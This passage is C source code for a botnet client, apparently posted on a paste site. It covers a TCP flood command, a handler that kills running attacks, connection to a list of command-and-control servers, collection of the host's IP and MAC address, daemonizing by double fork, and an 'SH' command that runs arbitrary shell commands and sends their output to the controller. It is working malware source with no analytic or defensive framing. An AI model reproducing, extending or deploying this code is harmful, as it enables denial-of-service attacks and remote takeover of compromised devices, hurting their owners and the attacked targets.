  1762. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1763. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1764. close(mainCommSock);
  1765.  
  1766. _exit(0);
  1767. }
  1768. }
  1769.  
  1770. if(!strcmp(argv[0], "KILLATTK"))
  1771. {
  1772. int killed = 0;
  1773. unsigned long i;
  1774. for (i = 0; i < numpids; i++) {
  1775. if (pids[i] != 0 && pids[i] != getpid()) {
  1776. kill(pids[i], 9);
  1777. killed++;
  1778. }
  1779. }
  1780.  
  1781. if(killed > 0)
  1782. {
  1783. sockprintf(mainCommSock, "Killed %d.", killed);
  1784. } else {
  1785. sockprintf(mainCommSock, "None Killed.");
  1786. }
  1787. }
  1788.  
  1789. if(!strcmp(argv[0], "LOLNOGTFO"))
  1790. {
  1791. exit(0);
  1792. }
  1793. }
  1794.  
  1795. int initConnection()
  1796. {
  1797. unsigned char server[512];
  1798. memset(server, 0, 512);
  1799. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if the sock initialized then close that.
  1800. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1801. else currentServer++;
  1802.  
  1803. strcpy(server, commServer[currentServer]);
  1804. int port = 6667;
  1805. if(strchr(server, ':') != NULL)
  1806. {
  1807. port = atoi(strchr(server, ':') + 1);
  1808. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1809. }
  1810.  
  1811. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1812.  
  1813. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1814.  
  1815. return 0;
  1816. }
  1817.  
  1818. int getOurIP()
  1819. {
  1820. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1821. if(sock == -1) return 0;
  1822.  
  1823. struct sockaddr_in serv;
  1824. memset(&serv, 0, sizeof(serv));
  1825. serv.sin_family = AF_INET;
  1826. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1827. serv.sin_port = htons(53);
  1828.  
  1829. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1830. if(err == -1) return 0;
  1831.  
  1832. struct sockaddr_in name;
  1833. socklen_t namelen = sizeof(name);
  1834. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1835. if(err == -1) return 0;
  1836.  
  1837. ourIP.s_addr = name.sin_addr.s_addr;
  1838.  
  1839. int cmdline = open("/proc/net/route", O_RDONLY);
  1840. char linebuf[4096];
  1841. while(fdgets(linebuf, 4096, cmdline) != NULL)
  1842. {
  1843. if(strstr(linebuf, "\t00000000\t") != NULL)
  1844. {
  1845. unsigned char *pos = linebuf;
  1846. while(*pos != '\t') pos++;
  1847. *pos = 0;
  1848. break;
  1849. }
  1850. memset(linebuf, 0, 4096);
  1851. }
  1852. close(cmdline);
  1853.  
  1854. if(*linebuf)
  1855. {
  1856. int i;
  1857. struct ifreq ifr;
  1858. strcpy(ifr.ifr_name, linebuf);
  1859. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1860. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1861. }
  1862.  
  1863. close(sock);
  1864. }
  1865.  
  1866. char *getBuild()
  1867. {
  1868. #ifdef MIPS_BUILD
  1869. return "MIPS";
  1870. #elif MIPSEL_BUILD
  1871. return "MIPSEL";
  1872. #elif X86_BUILD
  1873. return "X86";
  1874. #elif ARM_BUILD
  1875. return "ARM";
  1876. #elif PPC_BUILD
  1877. return "POWERPC";
  1878. #else
  1879. return "UNKNOWN";
  1880. #endif
  1881. }
  1882.  
  1883. int main(int argc, unsigned char *argv[])
  1884. {
  1885. if(SERVER_LIST_SIZE <= 0) return 0; //THE BOT HAS BEEN CONFIGURED WRONGLY
  1886.  
  1887. srand(time(NULL) ^ getpid());
  1888. init_rand(time(NULL) ^ getpid());
  1889.  
  1890. pid_t pid1;
  1891. pid_t pid2;
  1892. int status;
  1893.  
  1894. getOurIP();
  1895. zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  1896.  
  1897. if (pid1 = fork()) {
  1898. waitpid(pid1, &status, 0);
  1899. exit(0);
  1900. } else if (!pid1) {
  1901. if (pid2 = fork()) {
  1902. exit(0);
  1903. } else if (!pid2) {
  1904. } else {
  1905. zprintf("fork failed\n");
  1906. }
  1907. } else {
  1908. zprintf("fork failed\n");
  1909. }
  1910.  
  1911. setsid();
  1912. chdir("/");
  1913.  
  1914. signal(SIGPIPE, SIG_IGN);
  1915.  
  1916. while(1)
  1917. {
  1918. if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  1919.  
  1920. sockprintf(mainCommSock, "BUILD %s", getBuild());
  1921.  
  1922. char commBuf[4096];
  1923. int got = 0;
  1924. int i = 0;
  1925. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1926. {
  1927. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1928. unsigned int *newpids, on;
  1929. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1930. pids[on - 1] = 0;
  1931. numpids--;
  1932. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1933. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1934. free(pids);
  1935. pids = newpids;
  1936. }
  1937.  
  1938. commBuf[got] = 0x00;
  1939.  
  1940. trim(commBuf);
  1941.  
  1942. if(strstr(commBuf, "PING") == commBuf)
  1943. {
  1944. sockprintf(mainCommSock, "PONG");
  1945. continue;
  1946. }
  1947.  
  1948. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1949.  
  1950. unsigned char *message = commBuf;
  1951.  
  1952. if(*message == '!')
  1953. {
  1954. unsigned char *nickMask = message + 1;
  1955. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1956. if(*nickMask == 0x00) continue;
  1957. *(nickMask) = 0x00;
  1958. nickMask = message + 1;
  1959.  
  1960. message = message + strlen(nickMask) + 2;
  1961. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1962.  
  1963. unsigned char *command = message;
  1964. while(*message != ' ' && *message != 0x00) message++;
  1965. *message = 0x00;
  1966. message++;
  1967.  
  1968. unsigned char *tmpcommand = command;
  1969. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1970.  
  1971. if(strcmp(command, "SH") == 0)
  1972. {
  1973. unsigned char buf[1024];
  1974. int command;
  1975. if (listFork()) continue;
  1976. memset(buf, 0, 1024);
  1977. szprintf(buf, "%s 2>&1", message);
  1978. command = fdpopen(buf, "r");
  1979. while(fdgets(buf, 1024, command) != NULL)
  1980. {
  1981. trim(buf);
  1982. sockprintf(mainCommSock, "%s", buf);
  1983. memset(buf, 0, 1024);
  1984. sleep(1);
  1985. }
  1986. fdpclose(command);
  1987. exit(0);
  1988. }
  1989.  
  1990. unsigned char *params[10];
  1991. int paramsCount = 1;
  1992. unsigned char *pch = strtok(message, " ");
  1993. params[0] = command;
  1994.  
  1995. while(pch)
  1996. {
  1997. if(*pch != '\n')
  1998. {
  1999. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2000. memset(params[paramsCount], 0, strlen(pch) + 1);
  2001. strcpy(params[paramsCount], pch);
  2002. paramsCount++;
  2003. }
  2004. pch = strtok(NULL, " ");
  2005. }
  2006.  
  2007. processCmd(paramsCount, params);
  2008.  
  2009. if(paramsCount > 1)
  2010. {
  2011. int q = 1;
  2012. for(q = 1; q < paramsCount; q++)
  2013. {
  2014. free(params[q]);
  2015. }
  2016. }
  2017. }
  2018. }
  2019. printf("Link closed by server.\n");
  2020. }
  2021.  
  2022. return 0; //This is the proper code
  2023.  
  2024. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement